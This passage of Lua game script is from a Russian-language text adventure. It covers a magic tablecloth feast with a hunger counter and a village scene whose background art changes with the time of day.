'Вкуснейшие яства из волшебной скатерти!'; noinv = true; enter = function() weareincontrol = true; enteredsamobranka = true; bread1 = false; bread2 = false; cake3 = false; baton4 = false; banan5 = false; soup6 = false; bottle7 = false; arbuz8 = false; blackikra9 = false; formilk10 = false; fish11 = false; candles12 = false; redikra13 = false; meat14 = false; kolbasa15 = false; vinograd16 = false; grusha17 = false; apple18 = false; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) deletebutton(); end; pic = function() if not bread1 then pr 'gfx/inskatert/15.png;gfx/inskatert/1bread.png@120,95' end if not bread2 then pr 'gfx/inskatert/15.png;gfx/inskatert/2bread.png@160,125' end if not cake3 then pr 'gfx/inskatert/15.png;gfx/inskatert/3cake.png@205,127' end if not baton4 then pr 'gfx/inskatert/15.png;gfx/inskatert/4baton.png@170,95' end if not banan5 then pr 'gfx/inskatert/15.png;gfx/inskatert/5banan.png@232,107' end if not soup6 then pr 'gfx/inskatert/15.png;gfx/inskatert/6soup.png@275,110' end if not bottle7 then pr 'gfx/inskatert/15.png;gfx/inskatert/7bottle.png@312,93' end if not arbuz8 then pr 'gfx/inskatert/15.png;gfx/inskatert/8arbuz.png@222,156' end if not blackikra9 then pr 'gfx/inskatert/15.png;gfx/inskatert/9blackikra.png@130,160' end if not formilk10 then pr 'gfx/inskatert/15.png;gfx/inskatert/10formilk.png@162,153' end if not fish11 then pr 'gfx/inskatert/15.png;gfx/inskatert/11fish.png@104,203' end if not candles12 then pr 'gfx/inskatert/15.png;gfx/inskatert/12candles.png@312,163' end if not redikra13 then pr 'gfx/inskatert/15.png;gfx/inskatert/13redikra.png@314,183' end if not meat14 then pr 'gfx/inskatert/15.png;gfx/inskatert/14meat.png@204,192' end if not kolbasa15 then pr 'gfx/inskatert/15.png;gfx/inskatert/15-2kolbasa.png@178,228' end if not vinograd16 then pr 'gfx/inskatert/15.png;gfx/inskatert/16vinograd.png@296,228' end if not grusha17 then pr 'gfx/inskatert/15.png;gfx/inskatert/17grusha.png@323,233' end if not apple18 then pr 'gfx/inskatert/15.png;gfx/inskatert/18apple.png@345,245' end if bread1 and bread2 and cake3 and baton4 and banan5 and soup6 and bottle7 and arbuz8 and blackikra9 and formilk10 and fish11 and candles12 and redikra13 and meat14 and kolbasa15 and vinograd16 and grusha17 and apple18 then pr 'gfx/inskatert/15.png' end end; obj = {'eatbread1', 'eatcake3', 'eatbaton4', 'eatbanan5', 'eatsoup6', 'drinkbottle7', 'eatarbuz8', 'eatblackikra9', 'drinkmilk10', 'eatfish11', 'eatcandles12', 'eatredikra13', 'eatmeat14', 'eatkolbasa15', 'eatvinograd16', 'eatgrusha17', 'eatapple18'}; decor = function() p 'Здесь рай для гурмана!' if not bread1 and not bread2 then p 'Ты видишь вкусный, свежайший {eatbread1|хлеб}, который как будто только из печи! Его аромат сводит тебя с ума.' end if not cake3 then p '{eatcake3|Пирожное} завораживает твой взгляд.' end if not baton4 then p 'Свежий, мягкий {eatbaton4|батон}, который тает во рту лежит на скатерти.' end if not banan5 then p 'Охапка {eatbanan5|бананов} тоже здесь.' end if not soup6 then p 'В тарелке остывает вкусный, куриный {eatsoup6|бульон}.' end if not bottle7 then p 'Что же в бутылке? Наверняка, {drinkbottle7|спиртное}.' end if not arbuz8 then p 'Ломтик {eatarbuz8|арбуза} ярко красный и сочный.' end if not blackikra9 then p 'И даже {eatblackikra9|черная икра}! Деликатес...' end if not formilk10 then p 'Свежее {drinkmilk10|молоко} тоже есть на скатерти.' end if not fish11 then p '{eatfish11|Рыба}! Морская. Каждый раз разная, но всегда вкусная.' end if not candles12 then p '{eatcandles12|Конфеты}! Подобных ты еще никогда не ел.' end if not redikra13 then p 'Здесь даже есть {eatredikra13|красная икра}!' end if not meat14 then p '{eatmeat14|Мясо}! Сочная и свежая грудинка.' end if not kolbasa15 then p '{eatkolbasa15|Колбаса}! И она из мяса! Так не бывает, конечно, но ты же в сказке, да?' end if not vinograd16 then p 'Тяжелая гроздь {eatvinograd16|винограда}, налитая соком ждет тебя.' end if not grusha17 then p 'Спелая, сочная {eatgrusha17|груша}. Как будто говорит тебе: скушай!' end if not apple18 then p 'Алое {eatapple18|яблоко} на вкус приятно сочетает сладость и кислинку.' end if bread1 and bread2 and cake3 and baton4 and banan5 and soup6 and bottle7 and arbuz8 and blackikra9 and formilk10 and fish11 and candles12 and redikra13 and meat14 and kolbasa15 and vinograd16 and grusha17 and apple18 then p 'Ты съел всё!' end p '^^'; p ( fmt.c('{@ walkout|Свернуть скатерть-самобранку}') ); end; exit = function() enteredsamobranka = false; weareincontrol = false; bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) if hungry >= hungrymax then prival1enabled = true prival2enabled = true prival3enabled = true prival4enabled = true prival5enabled = true prival6enabled = true end; if youeatenfish and youeatenmilk then p [[Сочетать рыбу с молоком? А ты бесстрашный...]] end; youeatenfish = false; youeatenmilk = false; createbutton(); end; } obj { nam = 'eatbread1'; act = function() bread1 = true; bread2 = true; hungry = hungry+1 p 'Ты приятно захрустел корочкой.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatcake3'; act = function() cake3 = true; hungry = hungry+1 p 'Ты попробовал мягкое, нежное пирожное, откусил кусочек, затем еще один. Глядь - а уже и съел. Куда только пирожное подевалось?'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatbaton4'; act = function() baton4 = true; hungry = hungry+1 p 'Съешь еще этого мягкого хрустящего батона да выпей молока ;)'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatbanan5'; act = function() banan5 = true; hungry = hungry+1 p 'Ты вмиг слопал связку бананов. Куда спешишь-то?)'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatsoup6'; act = function() soup6 = true; hungry = hungry+1 p 'Ты смакуя, съел куриный бульон, на душе потеплело, и прибавилось сил :)'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'drinkbottle7'; act = function() bottle7 = true; hungry = hungry+1 p 'Ты попробовал прекрасное домашнее вино и жизнь заиграла красками.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatarbuz8'; act = function() arbuz8 = true; hungry = hungry+1 p 'Ты съел арбуз!'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatblackikra9'; act = function() blackikra9 = true; hungry = hungry+1 p 'Ты не спеша, смакуя, съел банку черной икры. А не зажирно будет?'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'drinkmilk10'; act = function() formilk10 = true; youeatenmilk = true; hungry = hungry+1 p 'Ты выпил свежее коровье молоко, приятное и полезное.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatfish11'; act = function() fish11 = true; youeatenfish = true; hungry = hungry+1 p 'Ты аккуратно, не спеша, скушал рыбку. А ведь надеялся, что сделаешь это еще у озера...'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatcandles12'; act = function() candles12 = true; hungry = hungry+1 p 'Ты съел конфеты, одну за другой, мм...'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatredikra13'; act = function() redikra13 = true; hungry = hungry+1 p 'Что может быть вкуснее красной икры? Ты съел всю...'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatmeat14'; act = function() meat14 = true; hungry = hungry+1 p 'Мясо! Мм... Нет ничего лучше мяса. И это не обсуждается.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatkolbasa15'; act = function() kolbasa15 = true; hungry = hungry+1 p 'Копченая, с приправами, душистая такая! Ты не смог остановиться, пока не съел всю...'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatvinograd16'; act = function() vinograd16 = true; hungry = hungry+1 p 'Сладкий виноград с райским вкусом. Конечно же, без косточек.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatgrusha17'; act = function() grusha17 = true; hungry = hungry+1 p 'Ты съел грушку.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } obj { nam = 'eatapple18'; act = function() apple18 = true; hungry = hungry+1 p 'Поистине, райское яблочко. Ты съел аж до косточек.'; if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end; if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end; if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end; if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name) end; } room { nam = 'village'; title = 'Деревня'; pic = function() if not nableguest and evening == 0 then return 'gfx/31.png;gfx/daynight2/daynight0.png@0,0' end; if not nableguest and evening == 1 then return 'gfx/31.png;gfx/daynight2/daynight1.png@0,0' end; if not nableguest and evening == 2 then return 'gfx/31.png;gfx/daynight2/daynight2.png@0,0' end; if not nableguest and evening == 3 then return 'gfx/31.png;gfx/daynight2/daynight3.png@0,0' end; if not nableguest and evening == 4 then return 'gfx/31.png;gfx/daynight2/daynight4.png@0,0' end; if not nableguest and evening == 5 then return 'gfx/31.png;gfx/daynight2/daynight5.png@0,0' end; if not nableguest and evening == 6 then return 'gfx/31.png;gfx/daynight2/daynight6.png@0,0' end; if not nableguest and evening == 7 then return 'gfx/31.png;gfx/daynight2/daynight7.png@0,0' end; if not nableguest and evening == 8 then return 'gfx/31.png;gfx/daynight2/daynight8.png@0,0' end; if not nableguest and evening == 9 then return 'gfx/31.png;gfx/daynight2/daynight9.png@0,0' end; if not nableguest and evening == 10 then return 'gfx/31.png;gfx/daynight2/daynight10.png@0,0' end; if not nableguest and evening == 11 then return 'gfx/31.png;gfx/daynight2/daynight11.png@0,0' end; if not nableguest and evening == 12 then return 'gfx/31.png;gfx/daynight2/daynight12.png@0,0' end; if not nableguest and evening == 13 then return 'gfx/31.png;gfx/daynight2/daynight13.png@0,0' end; if not nableguest and evening == 14 then return 'gfx/31.png;gfx/daynight2/daynight14.png@0,0' end; if not nableguest and evening == 15 then return 'gfx/31.png;gfx/daynight2/daynight15.png@0,0' end; if not nableguest and evening == 16 then return 'gfx/31.png;gfx/daynight2/daynight16.png@0,0' end; if not nableguest and evening == 17 then return 'gfx/31.png;gfx/daynight2/daynight17.png@0,0' end; if not nableguest and evening == 18 then return 'gfx/31.png;gfx/daynight2/daynight18.png@0,0' end; if not nableguest and evening == 19 then return 'gfx/31.png;gfx/daynight2/daynight19.png@0,0' end; if not nableguest and evening == 20 then return 'gfx/31.png;gfx/daynight2/daynight20.png@0,0' end; if not nableguest and evening == 21 then return 'gfx/31.png;gfx/daynight2/daynight21.png@0,0' end; if not nableguest and evening == 22 then return 'gfx/31.png;gfx/daynight2/daynight22.png@0,0' end; if not nableguest and evening == 23 then return 'gfx/31.png;gfx/daynight2/daynight23.png@0,0' end; if not nableguest and evening == 24 then return 'gfx/31.png;gfx/daynight2/daynight24.png@0,0' end; if not nableguest and evening == 25 then return 'gfx/31.png;gfx/daynight2/daynight25.png@0,0' end; if not nableguest and evening == 26 then return 'gfx/31.png;gfx/daynight2/daynight26.png@0,0' end; if not nableguest and evening == 27 then return 'gfx/31.png;gfx/daynight2/daynight27.png@0,0' end; if not nableguest and evening == 28 then return 'gfx/31.png;gfx/daynight2/daynight28.png@0,0' end; if not nableguest and evening == 29 then return 'gfx/31.png;gfx/daynight2/daynight29.png@0,0' end; if not nableguest and evening == 30 then return 'gfx/31.png;gfx/daynight2/daynight30.png@0,0' end; if not nableguest and evening > 30 then return 'gfx/31.png;gfx/daynight2/daynight30.png@0,0' end; if nableguest and evening == 0 then return 'gfx/31_2.png;gfx/daynight2/daynight0.png@0,0' end; if nableguest and evening == 1 then return 'gfx/31_2.png;gfx/daynight2/daynight1.png@0,0' end; if nableguest and evening == 2 then return 'gfx/31_2.png;gfx/daynight2/daynight2.png@0,0' end; if nableguest and evening == 3 then return 'gfx/31_2.png;gfx/daynight2/daynight3.png@0,0' end; if nableguest and evening == 4 then return 'gfx/31_2.png;gfx/daynight2/daynight4.png@0,0' end; if nableguest and evening == 5 then return 'gfx/31_2.png;gfx/daynight2/daynight5.png@0,0' end; if nableguest and evening == 6 then return 'gfx/31_2.png;gfx/daynight2/daynight6.png@0,0' end; if nableguest and evening == 7 then return 'gfx/31_2.png;gfx/daynight2/daynight7.png@0,0' end; if nableguest and evening == 8 then return 'gfx/31_2.png;gfx/daynight2/daynight8.png@0,0' end; if nableguest and evening == 9 then return 'gfx/31_2.png;gfx/daynight2/daynight9.png@0,0' end; if nableguest and evening == 10 then return 'gfx/31_2.png;gfx/daynight2/daynight10.png@0,0' end; if nableguest and evening == 11 then return 'gfx/31_2.png;gfx/daynight2/daynight11.png@0,0' end; if nableguest and evening == 12 then return 'gfx/31_2.png;gfx/daynight2/daynight12.png@0,0' end; if nableguest and evening == 13 then return 'gfx/31_2.png;gfx/daynight2/daynight13.png@0,0' end; if nableguest and evening == 14 then return 'gfx/31_2.png;gfx/daynight2/daynight14.png@0,0' end; if nableguest and evening == 15 then return 'gfx/31_2.png;gfx/daynight2/daynight15.png@0,0' end; if nableguest and evening == 16 then return 'gfx/31_2.png;gfx/daynight2/daynight16.png@0,0' end; if nableguest and evening == 17 then return 'gfx/31_2.png;gfx/daynight2/daynight17.png@0,0' end; if nableguest and evening == 18 then return 'gfx/31_2.png;gfx/daynight2/daynight18.png@0,0' end; if nableguest and evening == 19 then return 'gfx/31_2.png;gfx/daynight2/daynight19.png@0,0' end; if nableguest and evening == 20 then return 'gfx/31_2.png;gfx/daynight2/daynight20.png@0,0' end; if nableguest and evening == 21 then return 'gfx/31_2.png;gfx/daynight2/daynight21.png@0,0' end; if nableguest and evening == 22 then return 'gfx/31_2.png;gfx/daynight2/daynight22.png@0,0' end; if nableguest and evening == 23 then return 'gfx/31_2.png;gfx/daynight2/daynight23.png@0,0' end; if nableguest and evening == 24 then return 'gfx/31_2.png;gfx/daynight2/daynight24.png@0,0' end; if nableguest and evening == 25 then return 'gfx/31_2.png;gfx/daynight2/daynight25.png@0,0' end; if nableguest and evening == 26 then return 'gfx/31_2.png;gfx/daynight2/daynight26.png@0,0' end; if nableguest and evening == 27 then return 'gfx/31_2.png;gfx/daynight2/daynight27.png@0,0' end; if nableguest and evening == 28 then return 'gfx/31_2.png;gfx/daynight2/daynight28.png@0,0' end; if nableguest and evening == 29 then return 'gfx/31_2.png;gfx/daynight2/daynight29.png@0,0' end; if nableguest and evening == 30 then return 'gfx/31_2.png;gfx/daynight2/daynight30.png@0,0' end; if nableguest and evening > 30 then return 'gfx/31_2.png;gfx/daynight2/daynight30.png@0,0' end; end; onenter = function() if not have('samobranka') and not alreadytalkedwolfinvillage and not nableguest then walk('talkwithwolfinvillage') end end; enter = function() wasinvillage = true; if nableguest then enable('#enableguest') end snd.music('mus/AMomentsReflection.ogg'); if vipusti then zabral = true end; -- плохое, неочевидное решение (но хз) if eveningenabled then evening = evening+1; end; end; decor = function() p [[Ты в деревне! Слева ты видишь какое-то сооружение, очень напоминающее домик {totravnik|травника}. Возможно, здесь есть что-то полезное.]]; p [[Внимание привлекает большая {tomelnica|мельница}. Наверное, большая гордость местных жителей.]]; p [[За мельницей - огромный, столетний {todub|дуб}.]]; p [[В центре - {tosalun|трактир}, или подобного рода заведение... Думаю, здесь любит собираться народ после тяжелого труда.]]; p [[Справа от трактира ты видишь {toguesthouse|дом}.]]; if not nableguest and have('samobranka') then p [[{tokonuh|Конюх} смотрит на тебя подозрительно.]] elseif not nableguest and not have('samobranka') then p[[{tokonuh|Конюх} смотрит на тебя с любопытством.]] else p [[{tokonuh|Конюх} возится с конем.]] end; p [[Ты видишь еще строения позади.]]; end; obj = {'todub', 'tokonuh', 'tosalun', 'totravnik', 'tomelnica', 'toguesthouse', 'enableguest'}; way = { path{'К травнику','travnik'}, path{'В мельницу','melnica'}, path{'К дубу','indub'}, path{'В трактир','insalun'}, path{'#enableguest', 'В дом','guesthouse'}:disable() }; } obj { nam = 'enableguest'; } obj { nam = 'tokonuh'; act = function() walkin('inkonuh'); end; } obj { nam = 'todub'; act = function() p [[Его почти не видно... Но можно пройти.]]; end; } obj { nam = 'tomelnica'; act = function() p [[Мельница. Гордость деревни. Хлеб нужен всем.]]; end; } obj { nam = 'toguesthouse'; act = function() if nableguest and not oboroten then p [[Дом конюха открыт для тебя. Ценой скатерти-самобранки...]] elseif nableguest and oboroten then p [[Дом конюха открыт для тебя. Как-то всё было слишком просто...]] else p [[Дом конюха. Закрыт.]] end; end; } obj { nam = 'totravnik'; act = function() p [[Наверное, у него я могу приобрести полезные лекарства... Приобрести? Я без денег...]]; end; } room { nam = 'inkonuh'; disp = 'Возле конюха'; enter = function() if eveningenabled then evening = evening+1; end; end; pic = function() if evening == 0 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and not nableguest then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end; if evening == 0 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and nableguest then return 